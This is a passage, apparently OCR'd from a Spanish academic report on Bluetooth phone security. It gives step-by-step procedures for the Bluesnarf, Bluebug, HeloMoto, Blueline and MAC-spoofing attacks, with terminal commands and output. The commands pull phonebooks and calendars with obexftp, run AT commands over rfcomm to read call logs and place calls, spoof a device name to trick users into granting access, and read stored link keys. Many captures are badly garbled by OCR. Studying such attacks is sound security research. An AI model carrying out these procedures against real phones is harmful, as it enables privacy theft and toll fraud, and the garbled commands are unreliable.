de dispositivos de confianza del teléfono moévil. En cualquier otro caso, la
conexidn requerird confirmacion explicita por parte del usuario propietario del
teléfono movil.

A continuacion se muestran el procedimiento para llevar a cabo un ataque
Bluesnarf sobre un teléfono movil Sony-Ericsson™ T68 desde Linux.

1) Detectar el teléfono movil Bluetooth objetivo y enumerar los perfiles que
soporta.

= gospel@ 192:~/bluesnarf g@@

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@l92 bluesnarf]f bluezscanner -cp
+ BlueZScanner, por Gospel <gospel.endorasoft.es>

Detectando dispositivos

Dispositive (1) encontrado:
MAC: OO:0A:D9:2A:4E:A9 Nombre: TGEBi
Fabricante del Chip Bluetooth:
Sony Ericsson Mobile Communications AB
4 [010100100010001000000100]
s soportados (Service Clas
rdless telephony Hodem Headset service,
ansfer (v-Inbox, v- Folder ...:_‘J
Networking (LAN, Ad hoc, ...)
- Tipo de dispositiwvo (Dewice Class):
Phone > Cellular
Perfiles Bluetooth disponibles:
- Dial-up NE‘L’WDI‘RIH" (Channel: 1)
(Channel: .
Voice gateway
Ser:i.ql PDrt 1

2) Dado que los primeros modelos de teléfonos moviles Bluetooth no
implementaban mecanismos de autenticacion y autorizacion en el acceso al Perfil
de Carga de Objetos (OBEX Object Push), un atacante podia extraer de forma
transparente cualquier archivo disponible en el sistema de ficheros del terminal
con ayuda de cualquier aplicacion que permitiera realizar operaciones OBEX GET,
como por ejemplo Obexftp.

Las siguientes capturas corresponden a operaciones OBEX GET para extraer
archivos del teléfono movil y visualizarlos a continuacion:
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0 Lectura del archivo devinfo.txt, que contiene informacién sobre el hardware,

software y disponibilidad de recursos del teléfono mévil.

& | gospel @ 192:~/bluesnarf E“EIEI

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@l92 bluesnarf]$ obexftp -b 00:0A:D9:2A:4E:A9 -B 10 -5 -1 telecom/devinfo
LIt

Browsing 00:0A:D9:2A:4E:A9 ...

Connecting. . .done

Receiving "telecom/devinfo.txt"... MANU:Ericsson

MOD:T68

SW-VERSION:prgCXC125265

SW-DATE : 20RBAOL5TTTTTOO

HW-VERSION:proto

SN:350370000000000

PB-TYPE-TX:VCARD2.

MSG-TYPE-
MSG-TYPE-

NOTE1.1
NOTE-TYPE-RX:VNOTE1.1
X-ERI-MELODY-TYPE-TX:EMELODY1.0
N-ERI-MELODY-TYPE-RX:EMELODY1.0
IRMC-VERSION:1.1
INBOX: MULTIPLE
MSG-SENT-BOX:NO
done
Disconnecting. ..done

21@192 bluesnarf]f D

Extraccidn y lectura del archivo pb.vcf, que contiene la agenda de contactos

almacenados en el terminal.

= gospel@ 192:~/bluesnarf g@@

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@lf2 bluesnarf]$ obexftp -b 00:0A:D9:2A:4E:A9 -B 10 -5 -g telecom/pb.vcE
Browsing 00:0A:D9:2A:4E:ADQ ...

Connecting. . .done

Receiving "telecom/pb.vcf"... done

Sending '"telecom/pb.vcf"... done

Disconnecting...done

[gospel@l92 bluesnarfl$ 1s

2 bluesnarf]$ cat pb.vcf

VERSION:2.1
:;MiContacto
OME:91

[gospel@192 bluesnarf]$ []
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0 Lectura del archivo cal.vcs, que contiene el calendario de citas.

= gospel@ 192:~/bluesnarf g@@

Archivo Editar Ver Terminal Solapas Ayuda

rfl% obexftp -b 00:0A:D9:2A:4E:A9 -B 10 -5 -1 telecom/cal.vcs
:2A:4E:AQ

Connecting. ..

done

Receiving "telecom/cal.wvcs"... BEGIN:VCALENDAR
VERSION:1.0

00680608T190000Z
50608T200000Z
r al dentista

ting. . .done
bluesnarfl$

4.1.1.2 - Bluebug (Martin Herfurt, 2004)

Bluebug es una vulnerabilidad que permite a un atacante establecer una conexion
RFCOMM a un canal oculto (no accesible por SDP) sin necesidad de autenticacion
y ejecutar comandos AT en el terminal.

Como puede apreciarse en el esquema de la pila de protocolos Bluetooth, desde el
nivel RFECOMM se puede acceder a la capa de comandos AT. Esto significa que
estableciendo una conexion RFCOMM a un determinado canal, el atacante podria
iniciar una sesion de comandos AT con el teléfono movil.

AUDIO

Interfaz Radio
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La posibilidad de ejecutar comandos AT en el teléfono modvil, permitiria a un
atacante llevar a cabo las siguientes acciones en el terminal comprometido:

Obtener informacion basica: Marca, modelo, IMEI, ...

Realizar llamadas de voz, desvio de llamadas, ...

Gestion de la agenda de contactos: Leer, escribir, borrar, ...

Acceso a la agenda de llamadas: Ultimas llamadas perdidas, recibidas o
realizadas.

O O O O

0 Gestion de mensajes SMS: Leer, escribir y enviar, borrar, ...

Bluebug es, sin duda, una de las vulnerabilidades mas peligrosas y con mayor
impacto en usuarios de teléfonos moviles Bluetooth, no sélo por la violacion de
privacidad que puede suponer el acceso ajeno a la agenda de contactos o a
mensajes SMS, sino por las consecuencias econdmicas que conlleva la capacidad
de efectuar llamadas telefénicas.

Una de las posibles soluciones a esta vulnerabilidad podria ser restringir el acceso
a los comandos AT desde el interfaz Bluetooth. Sin embargo, los propios
fabricantes desarrollan aplicaciones para sincronizar un equipo PC con la agenda
de contactos y la bandeja de entrada de mensajes SMS de los teléfonos mdviles. Un
ejemplo de aplicacion de este tipo es Nokia™ PC Suite. Asi mismo, algunos
dispositivos Bluetooth, como los Manos Libres, requieren el control del teléfono
movil para poder colgar, descolgar e iniciar llamadas telefénicas, para lo cual
requieren el uso de los comandos AT. La soluciéon adoptada por los fabricantes
para proteger la vulnerabilidad Bluebug en los teléfonos moviles consiste en
afadir mecanismos de autenticacion y autorizacion antes de permitir el
establecimiento de una conexion RFCOMM. De esta forma, se necesita la
intervencion del usuario propietario del teléfono mévil y resulta imposible llevar a
cabo un ataque de forma transparente.

Puesto que los teléfonos moviles actuales también implementan el juego de
comandos AT, es posible emular el ataque Bluebug estableciendo una conexion
RFCOMM al teléfono movil e iniciando una sesion de comandos AT.

MODELOS ANTIGUOS

ATAQUE
—
Y S e —— —— —— ——
RESPUESTA
| MODELOS ACTUALES
AUTENTIFICACION AUTORIZACION ATAQUE
oK oK

RESPUESTA
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A continuacion se muestran dos procedimientos para llevar a cabo un ataque
Bluebug sobre un teléfono movil Sony-Ericsson™ T68. Se llevan a cabo dos
ejemplos, uno desde Linux y otro desde Microsoft Windows™ XP SP2.

4.1.1.2.1 - Bluebug desde Linux

1) Detectar el teléfono movil objetivo y enumerar los perfiles que soporta.

= gospel@® GospelFC5:~ E“E“ZI

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@GospelFC5 ~]1% bluezscanner -cp
+ BlueZScanner, por Gospel <gospel.endorasoft.es>

Detectando dispositivos

Dispositivo (1) encontrado:
MAC: O0:0A:D9:2A:4E:A9 Nombre: TE8i
Fabricante del Chip Bluetooth:
Sony Ericsson Mobile Communications AB
Class: Ox5 04 [010100100000001000000100]
- Servicios soportados (Serwvice Cl: ) :
Telephony (Cordless telephony, Modem, Headset service,
Object Transfer (v-Inbox, wv-Folder, ...)
Networking (LAN, Ad hoc L)
— Tipo de dispositivo (Device Class):
Phone > Cellular
Perfiles Bluetooth disponibles:
- Dial-up Networking (Channel: 1)
(Channel:

Channel:
Channel:
Push (Channel: 10)
nchronization (Channel: 11)
(Channel: 6)

Se puede observar que el canal asociado al Perfil de Puerto Serie es el nimero 4.

2) El siguiente paso es establecer una conexion REFCOMM al canal 4.

= gospel@® GospelFC5:~ [=Jm]lx]

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@GospelFC5 ~]% rfcomm connect 0 D0O:0A:D9:2A:4E:A9 4
Connected /dev/rfcomm0 to 00:0A:D9:2A:4E:A9 on channel 4 I

Press CTRL-C for hangup

[]

3) Desde otra ventana de shell, hay que lanzar la herramienta cu, que estd
integrada en el paquete Taylor UUCP y puede obtenerse en la siguiente direccion:
http://www.airs.com/ian/uucp-doc/uucp.html

Cu permite conectar con el teléfono movil a través del interfaz rfcommO ya
establecido e iniciar una sesion de comandos AT. Es necesario especificar la
velocidad (en bits por segundo) que utilizara la conexion.
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= gospel@ GospelFC5:~ E@E

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@GospelFC5 ~1% cu -1 rfcomm0O -s 9600
Connected.

AT

OK

AT+CGMI

ERICSSON

0K
AT+CGMM
1130202-BVTEE

0K
AT+CPER=

;+CPBR=1
9000000",161,"","2006/06/16,19:22"

0K
AT+CPES="DC" ;+CPER=1
+CPBR: 1,"619000000",129,"","2006/06/16,19:03"

0K
ATDE79000000;
0K

[l

Como muestra la captura, se han ejecutado los siguientes comandos AT en el
terminal Sony-Ericsson™ T68:

0 AT: Comando unitario para comprobar la comunicacion.

0 AT+CGMLI: Peticion de identificacion del fabricante (marca).

0 AT+CGMM: Peticidn de identificacion del modelo de teléfono.
0 AT+CPBR=I: Leer la entrada 1 de la agenda de contactos.

0 AT+CPBS="MC”;+CPBR=1: Seleccionar el dispositivo de memoria de
llamadas perdidas (MC, Missed Call List) y leer la entrada 1.

0 AT+CPBS="DC”;+CPBR=1: Seleccionar el dispositivo de memoria de
llamadas realizadas (DC, Dialled Call List) y leer la entrada 1.

0 ATD679000000; :Realizar una llamada de voz a un nimero.
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4.1.1.2.2 - Bluebug desde Microsoft Windows™

1) Detectar el teléfono movil Bluetooth objetivo y enumerar los perfiles que
soporta.

# Mis sitios de Bluetooth\Todo Bluetooth MNeighborhood

Archivo  Edicidn Wer  Blugtooth  Favoritos  Herramientas  Avoda ﬁ.
@ Abras - -\_) IE p Busqueda H_'_ Carpetas -
Direccian @ Mis sitios de Bluetoothi Todo Bluetooth Meighborhood A | Ir

TESE
Teléfono mdwvil

Tareas Bluetooth

Asistente de configuracidn
Bluetooth
& Wer mis servicios Bluetooth

,) Buscar dispositivas a mi alcance

G’ Yer o modificar configuracian

dé Mis sitios de Bluetooth\Todo Bluetooth Neighborhood\T6Bi

Archiva  Edicidn Wer  Blustooth  Favoritos  Herramientas  Avuda ﬁ.
@ Atras - -\_) IE p Busqueda H_" Carpetas -
Direccidn ﬁ Mis sitios de Bluetoothi Todo Bluetooth Neighborhoodh &SI A | '—) Ir

o

Tareas Bluetooth | Dial-up Mebworking en T6Si (',— W, Fax en T6Si
! M coneckado \‘-ﬁ‘:- Mo coneckado
- G e =
,) Detectar servicios

IrMC Synchronization en T&Si i@ CEEX Object Push en TESi

Dtros sitios

_ e
@& Escritorio Serial Port 1 en Tegi b= Serial Port 2 en Todi
a i pC Mo coneckado ’ Mo coneckado

\E\:\
) Directorio de intercambio L | J—
Blustaoth &j Voice gakeway en TESI

Mis sitios de Bluetooth Mo coneckado

;,Q Impresaras ¥ Faxes

2) Establecer una conexion con el Perfil de Puerto Serie 1

No .
Serial Pork 1 en . -
Mo coneckadao Conectarse al puerto de serie Bluetooth

Estado

Voice gateway ¢ Crear atajo

Mo coneckado

Propiedades
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El siguiente mensaje advierte que cualquier aplicacion de Windows™ puede

acceder a la conexion establecida con el teléfono moévil utilizando el puerto COM4

del PC.

Serial Port 1

dizpositivo
TESL.

La aplicacidn gue utilice esta conerion debe configurarze para uzar COM 4.

E" ;\ El puerto de serie Bluetooth COM4 estd configurado para conectarse al

La aplicacidn puede iniciarze en cualquier marmento,

[IMa valver a mostrar este mensajs

Dial-up Metworking en ToSi

g Mo conectado

@ IrMC Synchronization en TS
AR

Serial Port 1 en TaSi

_ @ “onectado

WWoice gateway en ToSi
Mo conectado

3) Una vez conocido el puerto que permite al PC acceder a la conexion RFCOMM
establecida con el teléfono movil, Hyperterminal permite crear una nueva

conexion a través del puerto COM4.

Conectar a

% TES

Escriba detalles del ndmero de teléfono que desea marcar:

Paiz o regidn: | Espafia [34]

Cadigo de area: | |

Mumero de |
teléfono:

Conectar ugando: | Bluetooth Modem

Bluetooth M odem
COM2

COMS5

[ - ——{ COM1
Desconectado Autodetect. Detectar automat ~= "L A0 | repe [winsock]

£

== 168 - HyperTerminal

Archivo  Edicidn  ver Llamar  Transferiv  Ayuda

e & & 0B

AT i

0K

AT+CGMI

ERICSSON

0K

AT~CGMH

1130202-BYT68

0K

AT-CPBR=1

+CPBR: 1,"947000000",129,"CASA”

0K

AT+-CPBS="MC" ; ~CPBR=1

+CPBR: 1,"679000000",161,"","2006/06/16,19:22"

0K

AT+-CPBS="DC" ; ~CPBR=1

+CPBR: 1,"679000000",129,"","2006/06/16,19:03"

0K

ATD679000000 ;

0K L
0:01:40 conectado Autodetect, 9600 5-N-1 DESPLAZAF MAY | MUM
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4.1.1.3 - HeloMoto (Adam Laurie, 2004)

El ataque HeloMoto es una combinacién de los ataque Bluebug y Bluesnarf. El
ataque se denomina HeloMoto porque afecta a teléfonos méviles Motorola™.

La vulnerabilidad que explota HeloMoto se basa una implementacion incorrecta
de la gestion de la lista de dispositivos de confianza en los siguientes modelos
Motorola™: V80, v500 y v600.

El ataque se desarrolla del siguiente modo: El atacante inicia una conexion al Perfil
de Carga de Objetos (OBEX Push Object) con la intencion de enviar una tarjeta de
visita o vCard. De forma automatica y sin necesidad de interaccion por parte del
usuario propietario del teléfono movil, el dispositivo atacante es afiadido a la lista
de dispositivos de confianza del terminal, aunque el proceso de envio haya sido
interrumpido por el atacante antes de llegar a su fin. Con el dispositivo incluido en
la lista de dispositivos de confianza del teléfono movil, el atacante puede acceder a
perfiles que requieran autorizacion pero no autenticacion, como el caso del Perfil
de Auriculares (HeadSet Profile).

Una vez establecida la conexion con el Perfil de Auriculares, el atacante puede
acceder a la ejecucion de comandos AT en el teléfono mdvil comprometido.

Para poder llevar a cabo el ataque HeloMoto, existe una herramienta desarrollada
en BlueZ que se puede obtener en la siguiente direccion:
http://trifinite.org/Downloads/helomoto.tgz

= gospel@ GospelFC5:~/helomoto E“EHZI

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@GospelFCS helomoto]$ . /helomoto

Motorola Bluetooth device entry planter for
VB0, Vhixx, VExx and E39B

Usage:
helomoto [options] <command>

Options:
—i [hciX|bdaddr] Local HCI dewvice or BD Address
-h, --help Display help

Commands :
plant <bdaddr> [channel] Plant entrv in Motorola dewvice history

[gospel@GospelFC5 helomoto]$ |:|
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4.1.2 — Ataques a teléfonos maviles Bluetooth actuales

Los ataques a los primeros modelos de teléfonos modviles Bluetooth se debian a la
pobre implementacion de los mecanismos de seguridad, autenticacion vy
autorizacion que realizaban los fabricantes en sus dispositivos. Se inform¢é a los
fabricantes de las vulnerabilidades descubiertas antes de ser publicadas in the
wild, para evitar graves consecuencias en los usuarios, puesto que casi todos los
teléfonos moviles en el mercado eran vulnerables y no existia la posibilidad de
corregir el firmware del dispositivo.

Los fabricantes tomaron nota de las vulnerabilidades reportadas y las sucesivas
unidades comercializadas ya incorporaban mecanismos de seguridad que
protegian a esos modelos de los ataques publicados. Una vez informados los
fabricantes y tras un periodo de tiempo suficiente para que éstos corrigiesen el
fallo en las nuevas versiones de los modelos vulnerables, las vulnerabilidades se
publicaban en la red junto con herramientas que explotaban ataques prueba de
concepto.

Actualmente, menos del 5% de los teléfonos moéviles Bluetooth en el mercado son
vulnerables a los ataques Bluebug, Bluesnarf o HeloMoto. Ya se han explorado
casi todas las posibles fallas en la implementacion de Bluetooth por parte de los
fabricantes en sus teléfonos moviles y no se han publicado nuevas
vulnerabilidades importantes.

Tras dar por supuesto que los teléfonos médviles actuales incorporan mecanismos
de autenticacion y autorizacion para acceder a los perfiles, la tendencia actual es
intentar saltarse esas medidas de seguridad implementadas. De esta forma, surgen
nuevas modalidades de ataques mas complejos y combinados que, aunque en
teoria funcionan, en la préctica todavia tienen una escasa probabilidad de poder
ser desarrolladas con éxito.

El objetivo sigue siendo el mismo: acceder a la capa de comandos AT del terminal
comprometido.

106



4.1.2.1 — Blueline Attack (Kevin Finisterre, 2006)
El ataque Blueline consiste en una variacion del ataque HeloMoto.

Como se ha descrito anteriormente, la vulnerabilidad que explota HeloMoto se
basa una implementacion incorrecta de la gestion de la lista de dispositivos de
confianza en algunos teléfonos moviles Motorola™. El ataque HeloMoto se lleva a
cabo enviando una tarjeta de visita o vCard a través del Perfil de Carga de Objectos
(OBEX Object Push). De forma automatica el teléfono mdvil agrega al dispositivo a
su lista de dispositivos de confianza, de forma que el atacante queda acreditado
para acceder a perfiles que requieran autorizacion, pero no autenticacion, como el
Perfil de Auriculares (Headset Profile). Una vez establecida una conexion con este
perfil, el atacante tiene acceso a la ejecucion de comandos AT en terminal.

Los nuevos modelos de Motorola™, como PEBL, no son vulnerables al ataque
HeloMoto y requieren que el usuario confirme explicitamente cualquier conexion
a un perfil que requiera autorizacion si el dispositivo no esta agregado a la lista de
dispositivos de confianza del teléfono movil.

Uno de los perfiles del Motorola™ PEBL que requiere autorizacion, que no
autenticacion, es el Perfil de Pasarela de Voz (Voice Gateway Profile), asociado al
canal 3. El Service Record correspondiente es:

Service Name: Voice Gateway
Service Description: Headset Audio Gateway
Service Provider: T-Mobile
Service RecHandle: 0x10003
Service Class ID List:

"Headset Audio Gateway' (0x1112)
"Generic Audio" (0x1203)
Protocol Descriptor List:

"L2CAP" (0x0100)

"RFCOMM™ (0x0003)

Channel: 3

Cualquier intento de conexién a este perfil, requerird una
confirmacion explicita por parte del usuario para autorizar

&

la conexion entrante. Se mostrard por defecto el siguiente
mensaje en la pantalla del teléfono movil:

Dispositivo Malicioso
Requests Voice Gateway?

Fuente: http:/lwww.digitalmunition.com/

107



La cuestion reside en persuadir al usuario del teléfono mdévil para que confirme la
autorizacion de conexion al perfil. No obstante, si el nombre del dispositivo
resulta sospechoso o, simplemente por conducta preventiva, el usuario
habitualmente denegara la conexion.

El ataque Blueline permite provocar una falsificacion o spoofing del interfaz
sustituyendo el mensaje original de la ventana de aviso de conexion entrante por
cualquier texto deseado con s6lo modificar el nombre del dispositivo atacante por
una cadena de caracteres maliciosa. Esta cadena de caracteres puede contener
caracteres Ox0d para el salto de linea.

De esta forma, la ejecucion de los siguientes comandos provocara que el mensaje
de aviso original sea sustituido por otro mensaje malicioso que podria enganar a
cualquier usuario de teléfono movil y forzarle a que acepte la conexion, en cuyo
caso, de forma automatica, el dispositivo atacante quedaria agregado a la lista de
dispositivos de confianza del teléfono movil comprometido.

# hciconfig hciO name “perl -e "print
"Press\x0dgrant\x0dto\x0ddisable\x0dmute\x0d\x0d" "~

# rfcomm connect 0 00:15:A8:74:87:-:3E 3 (espera a que usuario acepte)
Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3
Press CTRL-C for hangup

El texto malicioso se traduce por: “Pulse aceptar para deshabilitar la funcién de
silencio”.

En caso de que el usuario atacado sea enganado y confie en | i
el aviso mostrado por pantalla, el dispositivo atacante

dispondra de autorizacion para acceder al Perfil de | *
Pasarela de Audio y ejecutar comandos AT en el terminal -

comprometido. ¥t

(%

dnalie

Uy

Fuente: http:/lwww.digitalmunition.com/
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4.1.2.2 — Blue MAC Spoofing (Kevin Finisterre, 2005 - Bluehack,
2006)

La especificacion Bluetooth describe que la autorizacion es el procedimiento que
determina los derechos que tiene un dispositivo Bluetooth para acceder a los
servicios que ofrece un sistema. El mecanismo de autorizaciéon en dispositivos
Bluetooth se lleva a cabo mediante niveles de confianza. Si un dispositivo esta
incluido en la lista de dispositivos del sistema, entonces estd autorizado para
acceder a cualquiera de los servicios que necesite autorizacion.

La especificacion Bluetooth describe que la autenticacion es el procedimiento por
el cual un dispositivo Bluetooth verifica su identidad en otro dispositivo para
poder acceder a los servicios que ofrece. Todas las funciones de seguridad de nivel
de enlace estan basadas en el concepto de claves de enlace, las cuales se generan
durante la etapa de emparejamiento y posteriormente se almacenan
individualmente en cada par de dispositivos. La autenticacién no requiere la
intervencion del usuario; implica un esquema de desafio/respuesta entre cada par
de dispositivos que emplea una clave de enlace secreta comun Ka de 128 bits.
Consecuentemente, este esquema se utiliza para autentificar dispositivos, no
usuarios.

El proceso de emparejamiento, basado en el esquema desafio/respuesta, transcurre
como se describe a continuacion:

7) El dispositivo reclamante envia su direccion BD_ADDR al dispositivo
verificador.

8) El verificador devuelve un desafio aleatorio de 128 bits al demandante.

9) El reclamante usa el algoritmo E1 para generar la respuesta de
autenticacion (SRES) de 32 bits, usando como parametros de entrada la
direccion BD_ADDR del reclamante, la clave de enlace Ka almacenada y el
desafio. El verificador realiza la misma operacién en paralelo.

10) El reclamante devuelve la respuesta SRES al verificador.

11) El verificador comprueba la respuesta SRES recibida por el reclamante con
la respuesta SRES calculada por éL

12) Si los valores de SRES coinciden, el verificador establece la conexion.
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El ataque Blue MAC Spoofing permite a un atacante suplantar la identidad de un
dispositivo de confianza para atacar un teléfono movil y utilizar sus credenciales
para acceder a servicios que requieren autenticacion y/o autorizacion.

El ataque Blue MAC Spoofing se puede desarrollar en dos niveles:

0 Suplantacidon de la direccion MAC de un dispositivo de confianza para
acceder a servicios que requieren autorizacion.

0 Suplantacion de la direccion MAC de un dispositivo de confianza y
obtencion de la clave de enlace Ka, generada durante el emparejamiento
del dispositivo suplantado con el teléfono movil, para acceder a servicios
que requieren autenticacion.

4.1.2.2.1 - Suplantacion de direccion MAC

En un primer nivel, el ataque Blue MAC Spoofing se basa en suplantar la direccion
MAC de un dispositivo de confianza para atacar un teléfono movil y utilizar sus
credenciales para acceder a servicios que requieren tinicamente autorizacion. Uno
de estos servicios puede ser el Perfil de Carga de Objectos (OBEX Object Push), el
cual estd implementado en la mayoria de teléfonos mdviles sin necesidad de
autenticacion, solo se necesita autorizacion.

El Perfil de Carga de Objetos permite cargar y descargar objetos de datos entre
dispositivos Bluetooth a través del protocolo OBEX Object Push.

Dado que no es posible modificar la direccion MAC en la mayoria de dispositivos
Bluetooth existentes en el mercado, inicamente en modulos hardware especiales,
para representar la prueba de concepto del ataque se puede suponer que tanto el
dispositivo suplantado como el atacante utilizan el mismo dispositivo USB
Bluetooth. De esta forma, se puede simular la suplantacion de MAC.

En la siguiente demostracion participan 3 dispositivos: dos equipos PCs con Linux
y un teléfono maévil. Uno de los equipos PC acttia como dispositivo PC amigo y el
otro como dispositivo PC atacante.
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En primer lugar, el teléfono movil y el PC amigo se emparejan. En el teléfono movil
se observa como el PC amigo aparece en la lista de dispositivos vinculados. En el
sistema Linux del PC amigo, queda anadida la clave de enlace Ka generada
durante el emparejamiento al archivo /var/lib/bluetooth/BD_ADDR/linkkeys,
siendo BD_ADDR la direccion MAC del modulo Bluetooth local.

= gospel @ GospelFC5:/var/lib/bluetooth/00:0A:94:01:D9:E1 EHEHZF

Archive Editar Ver Terminal Solapas Aruda
[root@GospelFC5 bluetooth]# 1s

E GOSPELPC

_:DhBB?jI EAl.« 1F(
)1 5D6D19D6 BEG3F5D535
;4D B47AABO3101573F4350ECC5BAG
:1B B3Li25h[1f 2C

A continuacién, se desconecta el dispositivo USB Bluetooth del PC amigo y se
conecta al PC atacante. Con esta accion se simula que el PC atacante suplanta la
direccion MAC del PC amigo.

Desde el PC atacante se inicia un escaneo en busca del teléfono movil y se listan los
perfiles que soporta, a fin de conocer el canal asociado al Perfil de Carga de
Objetos (OBEX Object Push). En este caso se trata del canal 9.

= gospel @ GOSPELFC5:~ [e=d [

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@GOSPELFCS ~]1% ./bluezscanner -cp
+ BlueZScanner, por Gospel <gospel.endorasoft.es>

Detectando dispositivos

Dispositivo (1) encontrado:
MA( 00:0E:6D:EB:08:91 Nombre: Nokia 6600
Fabricante del Chip Bluetooth:
Murata Manufacturing Co., Ltd.
[]1.:0 04 [UlOlDDODDUDOUDlDDDDDOlDD]

[ r-1Dc1em_. Headset service,
Ilbje: t Tran
- Tipo de dispositivo (Device C
Phone > Cellular
Perfiles Bluet h disponibles:
- Bluetooth Serial Port (Channel:
OBE:? ject Push (Channel: 9)
Fax (Channel: 1)
l-up Networking (( HE |
OBEX File Transfer (
- Handsfree Audio Gateway
OSPELFCS5 ~1% []
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La herramienta ObexPush, contenida en el paquete bluez-utils, permite el
intercambio de archivos a través del protocolo OBEX Object Push. Con ayuda de
esta herramienta, el atacante puede enviar un archivo malicioso al teléfono movil
objetivo.

= gospel @ GOSPELFC5:~ [=Ja]ji=]

Archivo Editar Ver Terminal Solapas Ayuda

ospe l@GOSPELFCS5 ~]% obex_push 9 00:0E:6D:EB:08:91 /home/gospel/owned. jpg
nd and receiwve files through bluetooth OBEX PUSH channel 9

, unable to comnect!
12GOSPELFC5 ~1% []

DH ELI Al tratar de enviar el archivo, en el teléfono movil aparece
: una notificacion solicitando al usuario la autorizacion
para recibir el archivo enviado por el PC atacante, aunque

— a los ojos del teléfono movil, el dispositivo origen de la
iRecibir iy . . . .
mensaje via F | conexion es el PC amigo, ya que tiene la misma direccion
Bluetooth desde el MAC.
dispositivo vinculado
GOSPELPC?
Si ND

Esto se debe a que, inicialmente, en el teléfono mdvil no se habia afadido la
direccion MAC del PC amigo a la lista de dispositivos de confianza explicitamente
marcando la opcion de omitir notificaciones de autorizacién en conexiones desde
ese dispositivo.

Para que el ataque Blue MAC Spoofing pueda llevarse a cabo con éxito, es
condicion necesaria que el dispositivo cuya direccion MAC va a ser suplantada
por el atacante para obtener sus credenciales, haya sido incluido en la lista de
dispositivos de confianza del teléfono mdvil. Esto, en el caso de teléfonos movil
basado en Symbian™ OS, ha de hacerse marcando explicitamente la opcion de
omitir notificaciones de conexiones provenientes de ese dispositivo.

Dispositivos J Dispositivos
vinculados . vinculados

L ; ' Disp. vincul. nuevo 2
2 GOSPELPC Conectar £ GLOSPELPC
Asign. nombre corto
Fijar como autoriz. |
Borrar
Borrar todos
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Una vez que el atacante sepa que el dispositivo PC amigo ha sido anadido a la lista
de dispositivos de confianza del teléfono movil, estara en disposicion de llevar a
cabo el ataque Blue MAC Spoofing con éxito, ya que se encuentra autorizado para
acceder al servicio.

= gospel@ GOSPELFC5:~ =R
A

rchivo Editar Ver Terminal Solapas Ayuda

spel/owned. jpg

fgospel/owned. jpg,

homegospelo

~
@ Bluetooth
hiomegospelowned.jpg

ke
1 mensaje [g]

nuevo

Mostrar salir

Tras el envio del fichero desde el PC atacante con ayuda de la utilidad ObexPush,
el teléfono movil recibe el archivo malicioso sin que se requiera al usuario
autorizacion para recibir el mismo o se le notifique de cualquier conexion
Bluetooth entrante. En el caso de Symbian™ OS, el archivo recibido aparece en
pantalla con el formato de nuevo mensaje SMS recibido y al abrirlo, se muestra la
imagen adjunta directamente.
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4.1.2.2.2 - Suplantacién de direccion MAC y robo de clave de enlace

En un nivel mas avanzado, el ataque Blue MAC Spoofing se basa en suplantar la
direccion MAC de un dispositivo de confianza para atacar un teléfono movil junto
con la clave de enlace Ka» comtin a ambos dispositivos y utilizar sus credenciales
para acceder a servicios que requieren autenticacion.

La suplantacion de direccion MAC es una accion trivial. La obtencion de la clave
de enlace Ka, en cambio, puede resultar mas compleja de llevar a cabo. Puede
implicar el desarrollo de una explotacién de bugs en el dispositivo a suplantar
para poder acceder a las claves de enlace que almacena, o también llegar al uso de
la ingenieria social para engafar al usuario y que se preste a revelar el contenido
de un archivo de claves de enlace. En cualquier caso, no es materia de este
proyecto entrar en este tipo de consideraciones y se da por supuesto que el
atacante puede encontrar la manera de obtener la clave de enlace comun al
dispositivo de confianza que quiere suplantar y al teléfono movil objetivo del
ataque.

En el caso de que el atacante utilice un equipo Linux, la clave de enlace conseguida
se deberia almacenar en el archivo /var/lib/bluetooth/BD_ADDR/linkkeys, siendo
BD_ADDR la direccion MAC del modulo Bluetooth local.

= gospel@® GospelFC5:/var/lib/bluetooth/00:04:94:01:D9:E1 E"E"ZI

Archivo Editar Ver Terminal Solapas Ayuda

[root@GospelFCS gospell# cd /var/lib/bluetooth
[root@GospelFC5 bluetooth]# cd 00:0A4:94:01:D9:E1

GospelFC5 00:0A:94:01:D9:E1]1# cat linkkeys
A:4E:A9 F258A5A2251 C540661574D1
: 7 :4D B47AABO3101573F4350ECCS5BAG
;1B B39256D502CE1615FABEARIFREAD
8:91 BE38 EAF235BB07044DDO7
:E1]# []

Una vez que el atacante dispone de la direccion MAC del dispositivo de confianza
y de la clave de enlace asociada al teléfono movil, puede desarrollar el ataque Blue
MAC Spoofing a alto nivel y utilizar las credenciales del dispositivo suplantado
para acceder a servicios que requieren autenticacion en el teléfono movil.

= gospel@ GospelFC5:~ E"E"ZI

Archivo Editar Ver Terminal Solapas Ayuda

Jdev,/rfcomm0 to O0:0E:6D:EB:08:91 on channel 10

Press CTRL-C for hangup
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4.2 — Ataques dispositivos Manos Libres

El Perfil de Auriculares (HS, HeadSet Profile) define los protocolos y
procedimientos para el modelo de uso que permite utilizar un dispositivo
auricular de ultima generacion como interfaz de entrada y salida de audio de otro
dispositivo, generalmente un teléfono movil o un PC; con el propdsito de
incrementar la libertad de movimiento del usuario al mismo tiempo que se
mantiene la confidencialidad de la conversacion.

El modelo de uso del Perfil de Auriculares permite multitud de configuraciones y
define tres escenarios de uso habituales:

0 Manos Libres Auriculares (Hands-Free HeadSet) conectado a un teléfono
movil: Permite al usuario mantener conversaciones telefdnicas sin
necesidad de acercar el terminal al oido.

GSM

BLA, BLA,
BLA, BLA,

BLUETOOTH

TN
] L]
. ..

BLA, BLA,
BLA, BLA,

0 Manos Libres de automovil (Hands-Free Car Kit) conectado a un teléfono
movil: Permite al usuario mantener conversaciones telefonicas en el interior
de un vehiculo sin necesidad de apartar las manos del volante para sostener
el teléfono movil.

GSM

BLUETOOTH
o

BLA, BLA,
BLA, BLA,
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0 Pasarela de audio entre dos dispositivos Bluetooth cualesquiera: Permite a
un usuario configurar dos equipos Bluetooth, que no tienen porqué tratarse
de auriculares, sino simples PCs o PDAs, y establecer una pasarela de audio
entre los dos, de forma que el audio que reproduce el software de un
dispositivo, se transmite al otro dispositivo a través del enlace SCO
(Synchronous Connection Oriented) y puede ser proyectado por los
altavoces del segundo. Asi mismo, el audio recogido por el micréfono de
un dispositivo se transmite al otro dispositivo, donde puede ser grabado en
un archivo de sonido.

3o
A

BLUETOOTH

